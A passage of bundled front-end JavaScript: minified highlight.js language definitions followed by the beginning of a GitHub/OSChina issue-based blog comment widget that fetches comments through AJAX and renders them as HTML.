t={cN:\"built_in\",b:\"\\\\b(AV|CA|CF|CG|CI|CL|CM|CN|CT|MK|MP|MTK|MTL|NS|SCN|SK|UI|WK|XC)\\\\w+\"},r={keyword:\"int float while char export sizeof typedef const struct for union unsigned long volatile static bool mutable if do return goto void enum else break extern asm case short default double register explicit signed typename this switch continue wchar_t inline readonly assign readwrite self @synchronized id typeof nonatomic super unichar IBOutlet IBAction strong weak copy in out inout bycopy byref oneway __strong __weak __block __autoreleasing @private @protected @public @try @property @end @throw @catch @finally @autoreleasepool @synthesize @dynamic @selector @optional @required @encode @package @import @defs @compatibility_alias __bridge __bridge_transfer __bridge_retained __bridge_retain __covariant __contravariant __kindof _Nonnull _Nullable _Null_unspecified __FUNCTION__ __PRETTY_FUNCTION__ __attribute__ getter setter retain unsafe_unretained nonnull nullable null_unspecified null_resettable class instancetype NS_DESIGNATED_INITIALIZER NS_UNAVAILABLE NS_REQUIRES_SUPER NS_RETURNS_INNER_POINTER NS_INLINE NS_AVAILABLE NS_DEPRECATED NS_ENUM NS_OPTIONS NS_SWIFT_UNAVAILABLE NS_ASSUME_NONNULL_BEGIN NS_ASSUME_NONNULL_END NS_REFINED_FOR_SWIFT NS_SWIFT_NAME NS_SWIFT_NOTHROW NS_DURING NS_HANDLER NS_ENDHANDLER NS_VALUERETURN NS_VOIDRETURN\",literal:\"false true FALSE TRUE nil YES NO NULL\",built_in:\"BOOL dispatch_once_t dispatch_queue_t dispatch_sync dispatch_async dispatch_once\"},a=/[a-zA-Z@][a-zA-Z0-9_]*/,n=\"@interface @class @protocol @implementation\";return{aliases:[\"mm\",\"objc\",\"obj-c\"],k:r,l:a,i:\"</\",c:[t,e.CLCM,e.CBCM,e.CNM,e.QSM,{cN:\"string\",v:[{b:'@\"',e:'\"',i:\"\\\\n\",c:[e.BE]},{b:\"'\",e:\"[^\\\\\\\\]'\",i:\"[^\\\\\\\\][^']\"}]},{cN:\"meta\",b:\"#\",e:\"$\",c:[{cN:\"meta-string\",v:[{b:'\"',e:'\"'},{b:\"<\",e:\">\"}]}]},{cN:\"class\",b:\"(\"+n.split(\" \").join(\"|\")+\")\\\\b\",e:\"({|$)\",eE:!0,k:n,l:a,c:[e.UTM]},{b:\"\\\\.\"+e.UIR,r:0}]}}),e.registerLanguage(\"perl\",function(e){var t=\"getpwent getservent quotemeta msgrcv scalar kill dbmclose undef lc ma syswrite tr send umask sysopen shmwrite vec qx utime local oct semctl localtime readpipe do return format read sprintf dbmopen pop getpgrp not getpwnam rewinddir qqfileno qw endprotoent wait sethostent bless s|0 opendir continue each sleep endgrent shutdown dump chomp connect getsockname die socketpair close flock exists index shmgetsub for endpwent redo lstat msgctl setpgrp abs exit select print ref gethostbyaddr unshift fcntl syscall goto getnetbyaddr join gmtime symlink semget splice x|0 getpeername recv log setsockopt cos last reverse gethostbyname getgrnam study formline endhostent times chop length gethostent getnetent pack getprotoent getservbyname rand mkdir pos chmod y|0 substr endnetent printf next open msgsnd readdir use unlink getsockopt getpriority rindex wantarray hex system getservbyport endservent int chr untie rmdir prototype tell listen fork shmread ucfirst setprotoent else sysseek link getgrgid shmctl waitpid unpack getnetbyname reset chdir grep split require caller lcfirst until warn while values shift telldir getpwuid my getprotobynumber delete and sort uc defined srand accept package seekdir getprotobyname semop our rename seek if q|0 chroot sysread setpwent no crypt getc chown sqrt write setnetent setpriority foreach tie sin msgget map stat getlogin unless elsif truncate exec keys glob tied closedirioctl socket readlink eval xor readline binmode setservent eof ord bind alarm pipe atan2 getgrent exp time push setgrent gt lt or ne m|0 break given say state when\",r={cN:\"subst\",b:\"[$@]\\\\{\",e:\"\\\\}\",k:t},a={b:\"->{\",e:\"}\"},n={v:[{b:/\\$\\d/},{b:/[\\$%@](\\^\\w\\b|#\\w+(::\\w+)*|{\\w+}|\\w+(::\\w*)*)/},{b:/[\\$%@][^\\s\\w{]/,r:0}]},i=[e.BE,r,n],s=[n,e.HCM,e.C(\"^\\\\=\\\\w\",\"\\\\=cut\",{eW:!0}),a,{cN:\"string\",c:i,v:[{b:\"q[qwxr]?\\\\s*\\\\(\",e:\"\\\\)\",r:5},{b:\"q[qwxr]?\\\\s*\\\\[\",e:\"\\\\]\",r:5},{b:\"q[qwxr]?\\\\s*\\\\{\",e:\"\\\\}\",r:5},{b:\"q[qwxr]?\\\\s*\\\\|\",e:\"\\\\|\",r:5},{b:\"q[qwxr]?\\\\s*\\\\<\",e:\"\\\\>\",r:5},{b:\"qw\\\\s+q\",e:\"q\",r:5},{b:\"'\",e:\"'\",c:[e.BE]},{b:'\"',e:'\"'},{b:\"`\",e:\"`\",c:[e.BE]},{b:\"{\\\\w+}\",c:[],r:0},{b:\"-?\\\\w+\\\\s*\\\\=\\\\>\",c:[],r:0}]},{cN:\"number\",b:\"(\\\\b0[0-7_]+)|(\\\\b0x[0-9a-fA-F_]+)|(\\\\b[1-9][0-9_]*(\\\\.[0-9_]+)?)|[0_]\\\\b\",r:0},{b:\"(\\\\/\\\\/|\"+e.RSR+\"|\\\\b(split|return|print|reverse|grep)\\\\b)\\\\s*\",k:\"split return print reverse grep\",r:0,c:[e.HCM,{cN:\"regexp\",b:\"(s|tr|y)/(\\\\\\\\.|[^/])*/(\\\\\\\\.|[^/])*/[a-z]*\",r:10},{cN:\"regexp\",b:\"(m|qr)?/\",e:\"/[a-z]*\",c:[e.BE],r:0}]},{cN:\"function\",bK:\"sub\",e:\"(\\\\s*\\\\(.*?\\\\))?[;{]\",eE:!0,r:5,c:[e.TM]},{b:\"-\\\\w\\\\b\",r:0},{b:\"^__DATA__$\",e:\"^__END__$\",sL:\"mojolicious\",c:[{b:\"^@@.*\",e:\"$\",cN:\"comment\"}]}];return r.c=s,a.c=s,{aliases:[\"pl\",\"pm\"],l:/[\\w\\.]+/,k:t,c:s}}),e.registerLanguage(\"php\",function(e){var t={b:\"\\\\$+[a-zA-Z_-ÿ][a-zA-Z0-9_-ÿ]*\"},r={cN:\"meta\",b:/<\\?(php)?|\\?>/},a={cN:\"string\",c:[e.BE,r],v:[{b:'b\"',e:'\"'},{b:\"b'\",e:\"'\"},e.inherit(e.ASM,{i:null}),e.inherit(e.QSM,{i:null})]},n={v:[e.BNM,e.CNM]};return{aliases:[\"php3\",\"php4\",\"php5\",\"php6\"],cI:!0,k:\"and include_once list abstract global private echo interface as static endswitch array null if endwhile or const for endforeach self var while isset public protected exit foreach throw elseif include __FILE__ empty require_once do xor return parent clone use __CLASS__ __LINE__ else break print eval new catch __METHOD__ case exception default die require __FUNCTION__ enddeclare final try switch continue endfor endif declare unset true false trait goto instanceof insteadof __DIR__ __NAMESPACE__ yield finally\",c:[e.HCM,e.C(\"//\",\"$\",{c:[r]}),e.C(\"/\\\\*\",\"\\\\*/\",{c:[{cN:\"doctag\",b:\"@[A-Za-z]+\"}]}),e.C(\"__halt_compiler.+?;\",!1,{eW:!0,k:\"__halt_compiler\",l:e.UIR}),{cN:\"string\",b:/<<<['\"]?\\w+['\"]?$/,e:/^\\w+;?$/,c:[e.BE,{cN:\"subst\",v:[{b:/\\$\\w+/},{b:/\\{\\$/,e:/\\}/}]}]},r,{cN:\"keyword\",b:/\\$this\\b/},t,{b:/(::|->)+[a-zA-Z_\\x7f-\\xff][a-zA-Z0-9_\\x7f-\\xff]*/},{cN:\"function\",bK:\"function\",e:/[;{]/,eE:!0,i:\"\\\\$|\\\\[|%\",c:[e.UTM,{cN:\"params\",b:\"\\\\(\",e:\"\\\\)\",c:[\"self\",t,e.CBCM,a,n]}]},{cN:\"class\",bK:\"class interface\",e:\"{\",eE:!0,i:/[:\\(\\$\"]/,c:[{bK:\"extends implements\"},e.UTM]},{bK:\"namespace\",e:\";\",i:/[\\.']/,c:[e.UTM]},{bK:\"use\",e:\";\",c:[e.UTM]},{b:\"=>\"},a,n]}}),e.registerLanguage(\"python\",function(e){var t={keyword:\"and elif is global as in if from raise for except finally print import pass return exec else break not with class assert yield try while continue del or def lambda async await nonlocal|10 None True False\",built_in:\"Ellipsis NotImplemented\"},r={cN:\"meta\",b:/^(>>>|\\.\\.\\.) /},a={cN:\"subst\",b:/\\{/,e:/\\}/,k:t,i:/#/},n={cN:\"string\",c:[e.BE],v:[{b:/(u|b)?r?'''/,e:/'''/,c:[r],r:10},{b:/(u|b)?r?\"\"\"/,e:/\"\"\"/,c:[r],r:10},{b:/(fr|rf|f)'''/,e:/'''/,c:[r,a]},{b:/(fr|rf|f)\"\"\"/,e:/\"\"\"/,c:[r,a]},{b:/(u|r|ur)'/,e:/'/,r:10},{b:/(u|r|ur)\"/,e:/\"/,r:10},{b:/(b|br)'/,e:/'/},{b:/(b|br)\"/,e:/\"/},{b:/(fr|rf|f)'/,e:/'/,c:[a]},{b:/(fr|rf|f)\"/,e:/\"/,c:[a]},e.ASM,e.QSM]},i={cN:\"number\",r:0,v:[{b:e.BNR+\"[lLjJ]?\"},{b:\"\\\\b(0o[0-7]+)[lLjJ]?\"},{b:e.CNR+\"[lLjJ]?\"}]},s={cN:\"params\",b:/\\(/,e:/\\)/,c:[\"self\",r,i,n]};return a.c=[n,i,r],{aliases:[\"py\",\"gyp\"],k:t,i:/(<\\/|->|\\?)|=>/,c:[r,i,n,e.HCM,{v:[{cN:\"function\",bK:\"def\"},{cN:\"class\",bK:\"class\"}],e:/:/,i:/[${=;\\n,]/,c:[e.UTM,s,{b:/->/,eW:!0,k:\"None\"}]},{cN:\"meta\",b:/^[\\t ]*@/,e:/$/},{b:/\\b(print|exec)\\(/}]}}),e.registerLanguage(\"ruby\",function(e){\nvar t=\"[a-zA-Z_]\\\\w*[!?=]?|[-+~]\\\\@|<<|>>|=~|===?|<=>|[<>]=?|\\\\*\\\\*|[-/+%^&*~`|]|\\\\[\\\\]=?\",r={keyword:\"and then defined module in return redo if BEGIN retry end for self when next until do begin unless END rescue else break undef not super class case require yield alias while ensure elsif or include attr_reader attr_writer attr_accessor\",literal:\"true false nil\"},a={cN:\"doctag\",b:\"@[A-Za-z]+\"},n={b:\"#<\",e:\">\"},i=[e.C(\"#\",\"$\",{c:[a]}),e.C(\"^\\\\=begin\",\"^\\\\=end\",{c:[a],r:10}),e.C(\"^__END__\",\"\\\\n$\")],s={cN:\"subst\",b:\"#\\\\{\",e:\"}\",k:r},c={cN:\"string\",c:[e.BE,s],v:[{b:/'/,e:/'/},{b:/\"/,e:/\"/},{b:/`/,e:/`/},{b:\"%[qQwWx]?\\\\(\",e:\"\\\\)\"},{b:\"%[qQwWx]?\\\\[\",e:\"\\\\]\"},{b:\"%[qQwWx]?{\",e:\"}\"},{b:\"%[qQwWx]?<\",e:\">\"},{b:\"%[qQwWx]?/\",e:\"/\"},{b:\"%[qQwWx]?%\",e:\"%\"},{b:\"%[qQwWx]?-\",e:\"-\"},{b:\"%[qQwWx]?\\\\|\",e:\"\\\\|\"},{b:/\\B\\?(\\\\\\d{1,3}|\\\\x[A-Fa-f0-9]{1,2}|\\\\u[A-Fa-f0-9]{4}|\\\\?\\S)\\b/},{b:/<<(-?)\\w+$/,e:/^\\s*\\w+$/}]},o={cN:\"params\",b:\"\\\\(\",e:\"\\\\)\",endsParent:!0,k:r},l=[c,n,{cN:\"class\",bK:\"class module\",e:\"$|;\",i:/=/,c:[e.inherit(e.TM,{b:\"[A-Za-z_]\\\\w*(::\\\\w+)*(\\\\?|\\\\!)?\"}),{b:\"<\\\\s*\",c:[{b:\"(\"+e.IR+\"::)?\"+e.IR}]}].concat(i)},{cN:\"function\",bK:\"def\",e:\"$|;\",c:[e.inherit(e.TM,{b:t}),o].concat(i)},{b:e.IR+\"::\"},{cN:\"symbol\",b:e.UIR+\"(\\\\!|\\\\?)?:\",r:0},{cN:\"symbol\",b:\":(?!\\\\s)\",c:[c,{b:t}],r:0},{cN:\"number\",b:\"(\\\\b0[0-7_]+)|(\\\\b0x[0-9a-fA-F_]+)|(\\\\b[1-9][0-9_]*(\\\\.[0-9_]+)?)|[0_]\\\\b\",r:0},{b:\"(\\\\$\\\\W)|((\\\\$|\\\\@\\\\@?)(\\\\w+))\"},{cN:\"params\",b:/\\|/,e:/\\|/,k:r},{b:\"(\"+e.RSR+\"|unless)\\\\s*\",k:\"unless\",c:[n,{cN:\"regexp\",c:[e.BE,s],i:/\\n/,v:[{b:\"/\",e:\"/[a-z]*\"},{b:\"%r{\",e:\"}[a-z]*\"},{b:\"%r\\\\(\",e:\"\\\\)[a-z]*\"},{b:\"%r!\",e:\"![a-z]*\"},{b:\"%r\\\\[\",e:\"\\\\][a-z]*\"}]}].concat(i),r:0}].concat(i);s.c=l,o.c=l;var u=\"[>?]>\",d=\"[\\\\w#]+\\\\(\\\\w+\\\\):\\\\d+:\\\\d+>\",b=\"(\\\\w+-)?\\\\d+\\\\.\\\\d+\\\\.\\\\d(p\\\\d+)?[^>]+>\",p=[{b:/^\\s*=>/,starts:{e:\"$\",c:l}},{cN:\"meta\",b:\"^(\"+u+\"|\"+d+\"|\"+b+\")\",starts:{e:\"$\",c:l}}];return{aliases:[\"rb\",\"gemspec\",\"podspec\",\"thor\",\"irb\"],k:r,i:/\\/\\*/,c:i.concat(p).concat(l)}}),e.registerLanguage(\"shell\",function(e){return{aliases:[\"console\"],c:[{cN:\"meta\",b:\"^\\\\s{0,3}[\\\\w\\\\d\\\\[\\\\]()@-]*[>%$#]\",starts:{e:\"$\",sL:\"bash\"}}]}}),e.registerLanguage(\"sql\",function(e){var t=e.C(\"--\",\"$\");return{cI:!0,i:/[<>{}*#]/,c:[{bK:\"begin end start commit rollback savepoint lock alter create drop rename call delete do handler insert load replace select truncate update set show pragma grant merge describe use explain help declare prepare execute deallocate release unlock purge reset change stop analyze cache flush optimize repair kill install uninstall checksum restore check backup revoke comment\",e:/;/,eW:!0,l:/[\\w\\.]+/,k:{keyword:\"abort abs absolute acc acce accep accept access accessed accessible account acos action activate add addtime admin administer advanced advise aes_decrypt aes_encrypt after agent aggregate ali alia alias allocate allow alter always analyze ancillary and any anydata anydataset anyschema anytype apply archive archived archivelog are as asc ascii asin assembly assertion associate asynchronous at atan atn2 attr attri attrib attribu attribut attribute attributes audit authenticated authentication authid authors auto autoallocate autodblink autoextend automatic availability avg backup badfile basicfile before begin beginning benchmark between bfile bfile_base big bigfile bin binary_double binary_float binlog bit_and bit_count bit_length bit_or bit_xor bitmap blob_base block blocksize body both bound buffer_cache buffer_pool build bulk by byte byteordermark bytes cache caching call calling cancel capacity cascade cascaded case cast catalog category ceil ceiling chain change changed char_base char_length character_length characters characterset charindex charset charsetform charsetid check checksum checksum_agg child choose chr chunk class cleanup clear client clob clob_base clone close cluster_id cluster_probability cluster_set clustering coalesce coercibility col collate collation collect colu colum column column_value columns columns_updated comment commit compact compatibility compiled complete composite_limit compound compress compute concat concat_ws concurrent confirm conn connec connect connect_by_iscycle connect_by_isleaf connect_by_root connect_time connection consider consistent constant constraint constraints constructor container content contents context contributors controlfile conv convert convert_tz corr corr_k corr_s corresponding corruption cos cost count count_big counted covar_pop covar_samp cpu_per_call cpu_per_session crc32 create creation critical cross cube cume_dist curdate current current_date current_time current_timestamp current_user cursor curtime customdatum cycle data database databases datafile datafiles datalength date_add date_cache date_format date_sub dateadd datediff datefromparts datename datepart datetime2fromparts day day_to_second dayname dayofmonth dayofweek dayofyear days db_role_change dbtimezone ddl deallocate declare decode decompose decrement decrypt deduplicate def defa defau defaul default defaults deferred defi defin define degrees delayed delegate delete delete_all delimited demand dense_rank depth dequeue des_decrypt des_encrypt des_key_file desc descr descri describ describe descriptor deterministic diagnostics difference dimension direct_load directory disable disable_all disallow disassociate discardfile disconnect diskgroup distinct distinctrow distribute distributed div do document domain dotnet double downgrade drop dumpfile duplicate duration each edition editionable editions element ellipsis else elsif elt empty enable enable_all enclosed encode encoding encrypt end end-exec endian enforced engine engines enqueue enterprise entityescaping eomonth error errors escaped evalname evaluate event eventdata events except exception exceptions exchange exclude excluding execu execut execute exempt exists exit exp expire explain export export_set extended extent external external_1 external_2 externally extract failed failed_login_attempts failover failure far fast feature_set feature_value fetch field fields file file_name_convert filesystem_like_logging final finish first first_value fixed flash_cache flashback floor flush following follows for forall force form forma format found found_rows freelist freelists freepools fresh from from_base64 from_days ftp full function general generated get get_format get_lock getdate getutcdate global global_name globally go goto grant grants greatest group group_concat group_id grouping grouping_id groups gtid_subtract guarantee guard handler hash hashkeys having hea head headi headin heading heap help hex hierarchy high high_priority hosts hour http id ident_current ident_incr ident_seed identified identity idle_time if ifnull ignore iif ilike ilm immediate import in include including increment index indexes indexing indextype indicator indices inet6_aton inet6_ntoa inet_aton inet_ntoa infile initial initialized initially initrans inmemory inner innodb input insert install instance instantiable instr interface interleaved intersect into invalidate invisible is is_free_lock is_ipv4 is_ipv4_compat is_not is_not_null is_used_lock isdate isnull isolation iterate java join json json_exists keep keep_duplicates key keys kill language large last last_day last_insert_id last_value lax lcase lead leading least leaves left len lenght length less level levels library like like2 like4 likec limit lines link list listagg little ln load load_file lob lobs local localtime localtimestamp locate locator lock locked log log10 log2 logfile logfiles logging logical logical_reads_per_call logoff logon logs long loop low low_priority lower lpad lrtrim ltrim main make_set makedate maketime managed management manual map mapping mask master master_pos_wait match matched materialized max maxextents maximize maxinstances maxlen maxlogfiles maxloghistory maxlogmembers maxsize maxtrans md5 measures median medium member memcompress memory merge microsecond mid migration min minextents minimum mining minus minute minvalue missing mod mode model modification modify module monitoring month months mount move movement multiset mutex name name_const names nan national native natural nav nchar nclob nested never new newline next nextval no no_write_to_binlog noarchivelog noaudit nobadfile nocheck nocompress nocopy nocycle nodelay nodiscardfile noentityescaping noguarantee nokeep nologfile nomapping nomaxvalue nominimize nominvalue nomonitoring none noneditionable nonschema noorder nopr nopro noprom nopromp noprompt norely noresetlogs noreverse normal norowdependencies noschemacheck noswitch not nothing notice notrim novalidate now nowait nth_value nullif nulls num numb numbe nvarchar nvarchar2 object ocicoll ocidate ocidatetime ociduration ociinterval ociloblocator ocinumber ociref ocirefcursor ocirowid ocistring ocitype oct octet_length of off offline offset oid oidindex old on online only opaque open operations operator optimal optimize option optionally or oracle oracle_date oradata ord ordaudio orddicom orddoc order ordimage ordinality ordvideo organization orlany orlvary out outer outfile outline output over overflow overriding package pad parallel parallel_enable parameters parent parse partial partition partitions pascal passing password password_grace_time password_lock_time password_reuse_max password_reuse_time password_verify_function patch path patindex pctincrease pctthreshold pctused pctversion percent percent_rank percentile_cont percentile_disc performance period period_add period_diff permanent physical pi pipe pipelined pivot pluggable plugin policy position post_transaction pow power pragma prebuilt precedes preceding precision prediction prediction_cost prediction_details prediction_probability prediction_set prepare present preserve prior priority private private_sga privileges procedural procedure procedure_analyze processlist profiles project prompt protection public publishingservername purge quarter query quick quiesce quota quotename radians raise rand range rank raw read reads readsize rebuild record records recover recovery recursive recycle redo reduced ref reference referenced references referencing refresh regexp_like register regr_avgx regr_avgy regr_count regr_intercept regr_r2 regr_slope regr_sxx regr_sxy reject rekey relational relative relaylog release release_lock relies_on relocate rely rem remainder rename repair repeat replace replicate replication required reset resetlogs resize resource respect restore restricted result result_cache resumable resume retention return returning returns reuse reverse revoke right rlike role roles rollback rolling rollup round row row_count rowdependencies rowid rownum rows rtrim rules safe salt sample save savepoint sb1 sb2 sb4 scan schema schemacheck scn scope scroll sdo_georaster sdo_topo_geometry search sec_to_time second section securefile security seed segment select self sequence sequential serializable server servererror session session_user sessions_per_user set sets settings sha sha1 sha2 share shared shared_pool short show shrink shutdown si_averagecolor si_colorhistogram si_featurelist si_positionalcolor si_stillimage si_texture siblings sid sign sin size size_t sizes skip slave sleep smalldatetimefromparts smallfile snapshot some soname sort soundex source space sparse spfile split sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_small_result sql_variant_property sqlcode sqldata sqlerror sqlname sqlstate sqrt square standalone standby start starting startup statement static statistics stats_binomial_test stats_crosstab stats_ks_test stats_mode stats_mw_test stats_one_way_anova stats_t_test_ stats_t_test_indep stats_t_test_one stats_t_test_paired stats_wsr_test status std stddev stddev_pop stddev_samp stdev stop storage store stored str str_to_date straight_join strcmp strict string struct stuff style subdate subpartition subpartitions substitutable substr substring subtime subtring_index subtype success sum suspend switch switchoffset switchover sync synchronous synonym sys sys_xmlagg sysasm sysaux sysdate sysdatetimeoffset sysdba sysoper system system_user sysutcdatetime table tables tablespace tan tdo template temporary terminated tertiary_weights test than then thread through tier ties time time_format time_zone timediff timefromparts timeout timestamp timestampadd timestampdiff timezone_abbr timezone_minute timezone_region to to_base64 to_date to_days to_seconds todatetimeoffset trace tracking transaction transactional translate translation treat trigger trigger_nestlevel triggers trim truncate try_cast try_convert try_parse type ub1 ub2 ub4 ucase unarchived unbounded uncompress under undo unhex unicode uniform uninstall union unique unix_timestamp unknown unlimited unlock unpivot unrecoverable unsafe unsigned until untrusted unusable unused update updated upgrade upped upper upsert url urowid usable usage use use_stored_outlines user user_data user_resources users using utc_date utc_timestamp uuid uuid_short validate validate_password_strength validation valist value values var var_samp varcharc vari varia variab variabl variable variables variance varp varraw varrawc varray verify version versions view virtual visible void wait wallet warning warnings week weekday weekofyear wellformed when whene whenev wheneve whenever where while whitespace with within without work wrapped xdb xml xmlagg xmlattributes xmlcast xmlcolattval xmlelement xmlexists xmlforest xmlindex xmlnamespaces xmlpi xmlquery xmlroot xmlschema xmlserialize xmltable xmltype xor year year_to_month years yearweek\",literal:\"true false null\",built_in:\"array bigint binary bit blob boolean char character date dec decimal float int int8 integer interval number numeric real record serial serial8 smallint text varchar varying void\"},c:[{cN:\"string\",b:\"'\",e:\"'\",c:[e.BE,{b:\"''\"}]},{cN:\"string\",b:'\"',e:'\"',c:[e.BE,{b:'\"\"'}]},{cN:\"string\",b:\"`\",e:\"`\",c:[e.BE]},e.CNM,e.CBCM,t]},e.CBCM,t]}}),e});\n\n// github issue comment\n// Copyright (C) 2017\n// Joseph Pan <http://github.com/wzpan>\n// This library is free software; you can redistribute it and/or modify\n// it under the terms of the GNU Lesser General Public License as\n// published by the Free Software Foundation; either version 2.1 of the\n// License, or (at your option) any later version.\n// \n// This library is distributed in the hope that it will be useful, but\n// WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n// Lesser General Public License for more details.\n// \n// You should have received a copy of the GNU Lesser General Public\n// License along with this library; if not, write to the Free Software\n// Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n// 02110-1301 USA\n// \n\n'use strict';\n\nvar type, username, repo, client_id, client_secret, no_comment, go_to_comment, btn_class, comments_target, recent_comments_target, loading_target;\nvar github_addr = \"https://github.com/\";\nvar github_api_addr = \"https://api.github.com/repos/\";\nvar oschina_addr = \"http://git.oschina.net/\";\nvar oschina_api_addr = \"http://git.oschina.net/api/v5/repos/\";\nvar spinOpts = {\n    lines: 13,\n    length: 10,\n    width: 6,\n    radius: 12,\n    corners: 1,\n    rotate: 0,\n    direction: 1,\n    color: '#5882FA',\n    speed: 1,\n    trail: 60,\n    shadow: false,\n    hwaccel: false,\n    className: 'spinner',\n    zIndex: 2e9,\n    top: 'auto',\n    left: '50%'\n};\n\nvar _getComment = function _getComment(params, callback) {\n    var comments = void 0,\n        comments_url = void 0,\n        page = void 0;\n\n    // Get comments\n    comments = params.comments;\n    comments_url = params.comments_url;\n    page = params.page;\n    $.ajax({\n        url: comments_url + '?page=' + page,\n        dataType: 'json',\n        cache: false,\n        crossDomain: true,\n        data: client_id && client_secret ? \"client_id=\" + client_id + \"&client_secret=\" + client_secret : '',\n        success: function success(page_comments) {\n            if (!page_comments || page_comments.length <= 0) {\n                callback && typeof callback === \"function\" && callback(comments);\n                callback = null;\n                return;\n            }\n            page_comments.forEach(function (comment) {\n                comments.push(comment);\n            });\n            page += 1;\n            params.comments = comments;\n            params.page = page;\n            _getComment(params, callback);\n        },\n        error: function error(err) {\n            callback && typeof callback === \"function\" && callback(comments);\n            callback = null;\n        }\n    });\n};\n\nvar _getCommentsUrl = function _getCommentsUrl(params, callback) {\n    var issue_title = void 0,\n        page = void 0;\n    var found = false;\n    issue_title = params.issue_title;\n    page = params.page;\n\n    var api_addr = type == 'github' ? github_api_addr : oschina_api_addr;\n    $.ajax({\n        url: api_addr + username + '/' + repo + '/issues?page=' + page,\n        dataType: 'json',\n        cache: false,\n        crossDomain: true,\n        data: client_id && client_secret ? \"client_id=\" + client_id + \"&client_secret=\" + client_secret : '',\n        success: function success(issues) {\n            if (!issues || issues.length <= 0) {\n                callback && typeof callback === \"function\" && callback(\"\", \"\");\n                callback = null;\n                return;\n            }\n            issues.forEach(function (issue) {\n                // match title\n                if (issue.title && issue.title == issue_title) {\n                    callback && typeof callback === \"function\" && callback(issue.comments_url, issue);\n                    found = true;\n                    callback = null;\n                }\n            });\n            if (!found) {\n                page += 1;\n                params.page = page;\n                _getCommentsUrl(params, callback);\n            }\n            return;\n        },\n        error: function error() {\n            callback && typeof callback === \"function\" && callback(\"\", \"\");\n            callback = null;\n        }\n    });\n};\n\nvar _getIssue = function _getIssue(issue_id, callback) {\n    var api_addr = type == 'github' ? github_api_addr : oschina_api_addr;\n    var issue_url = api_addr + username + '/' + repo + '/issues/' + issue_id;\n    _getIssueByUrl(issue_url, function (issue) {\n        callback && typeof callback === \"function\" && callback(issue);\n        callback = null;\n    });\n};\n\nvar _getIssueByUrl = function _getIssueByUrl(issue_url, callback) {\n    $.ajax({\n        url: issue_url,\n        dataType: 'json',\n        cache: false,\n        crossDomain: true,\n        data: client_id && client_secret ? \"client_id=\" + client_id + \"&client_secret=\" + client_secret : '',\n        success: function success(issues) {\n            if (!issues || issues.length <= 0) {\n                callback && typeof callback === \"function\" && callback();\n                callback = null;\n                return;\n            }\n            var issue = issues;\n            callback && typeof callback === \"function\" && callback(issue);\n            callback = null;\n        },\n        error: function error() {\n            callback && typeof callback === \"function\" && callback();\n            callback = null;\n        }\n    });\n};\n\nvar _renderComment = function _renderComment(comment) {\n    var timeagoInstance = timeago();\n    var user = comment.user;\n    var content = marked(comment.body);\n    var ago = timeagoInstance.format(comment.created_at);\n    var current_user = user.login == username ? \"current-user\" : \"\";\n    var addr = type == 'github' ? github_addr : oschina_addr;\n    var owner = user.login == username ? \"\\n        <span class=\\\"timeline-comment-label text-bold tooltipped tooltipped-multiline tooltipped-s\\\" aria-label=\\\"\" + username + \" is the author of this blog.\\\">\\n        Owner\\n    </span>\\n        \" : '';\n    return \"\\n        <div class=\\\"timeline-comment-wrapper js-comment-container\\\">\\n        <div class=\\\"avatar-parent-child timeline-comment-avatar\\\">\\n        <a href=\\\"\" + addr + user.login + \"\\\">\\n        <img alt=\\\"@\" + user.login + \"\\\" class=\\\"avatar rounded-1\\\" height=\\\"44\\\" src=\\\"\" + user.avatar_url + \"&amp;s=88\\\" width=\\\"44\\\">\\n        </a>\\n        </div>\\n        <div id=\\\"issuecomment-310820108\\\" class=\\\"comment previewable-edit js-comment js-task-list-container  timeline-comment js-reorderable-task-lists reorderable-task-lists \" + current_user + \"\\\" data-body-version=\\\"0ff4a390ed2be378bf5044aa6dc1510b\\\">\\n\\n        <div class=\\\"timeline-comment-header\\\">\\n        \" + owner + \"\\n        <h3 class=\\\"timeline-comment-header-text f5 text-normal\\\">\\n\\n        <strong>\\n        <a href=\\\"\" + addr + user.login + \"\\\" class=\\\"author\\\">\" + user.login + \"</a>\\n        \\n    </strong>\\n\\n    commented  \\n\\n        <a href=\\\"#issuecomment-\" + comment.id + \"\\\" class=\\\"timestamp\\\"><relative-time datetime=\\\"\" + comment.created_at + \"\\\" title=\\\"\" + comment.created_at + \"\\\">\" + ago + \"</relative-time></a>\\n\\n    </h3>\\n        </div>\\n        \\n        <table class=\\\"d-block\\\">\\n        <tbody class=\\\"d-block\\\">\\n        <tr class=\\\"d-block\\\">\\n        <td class=\\\"d-block comment-body markdown-body js-comment-body\\\">\\n        \" + content + \"\\n    </td>\\n        </tr>\\n        </tbody>\\n        </table>\\n        </div>\\n        </div>\\n        \";\n};\n\nvar _renderRecentComment = function _renderRecentComment(user, title, content, time, url, callback) {\n    var addr = type == 'github' ? github_addr : oschina_addr;\n    var res = \"\\n        <div class=\\\"comment-item\\\">\\n          <div class=\\\"row comment-widget-head\\\">\\n            <div class=\\\"xl-col-3 comment-widget-avatar\\\">\\n              <a href=\\\"\" + addr + user.login + \"\\\">\\n                <img alt=\\\"@\" + user.login + \"\\\" class=\\\"avatar rounded-1\\\" height=\\\"44\\\" src=\\\"\" + user.avatar_url + \"&amp;s=88\\\" width=\\\"44\\\">\\n              </a>\\n            </div>\\n            <div class=\\\"comment-widget-body\\\">\\n              <span><a class=\\\"comment-widget-user\\\" href=\\\"\" + addr + user.login + \"\\\" target=\\\"_blank\\\">\" + user.login + \"</a> </span>\\n              <div class=\\\"comment-widget-content\\\">\" + content + \"</div>\\n            </div>\\n          </div>\\n          <br/>\\n          <div class=\\\"comment-widget-meta\\\">\\n            <span class=\\\"comment-widget-title\\\">\" + title + \"</span> | <span class=\\\"comment-widget-date\\\">\" + time + \"</span>\\n          </div>\\n        </div>\\n        \";\n    callback && typeof callback === \"function\" && callback(res);\n    callback = null;\n};\n\nvar _getRecentCommentList = function _getRecentCommentList(comment_list, i, render_count, total_count, comments, callback) {\n    if (render_count >= total_count || i >= comments.length) {\n        callback && typeof callback === \"function\" && callback(comment_list);\n        callback = null;\n        return;\n    }\n    var comment = comments[i];\n    if (!comment) return;\n    var content = marked(comment.body);\n    var title = comment.title;\n    var user = comment.user;\n    var timeagoInstance = timeago();\n    var time = timeagoInstance.format(comment.created_at);\n    var url = comment.html_url;\n    if (!content || content == '') {\n        i++;\n        _getRecentCommentList(comment_list, i, render_count, total_count, comments, callback);\n        callback = null;\n        return;\n    }\n    if (!title) {\n        // Get title of issue\n        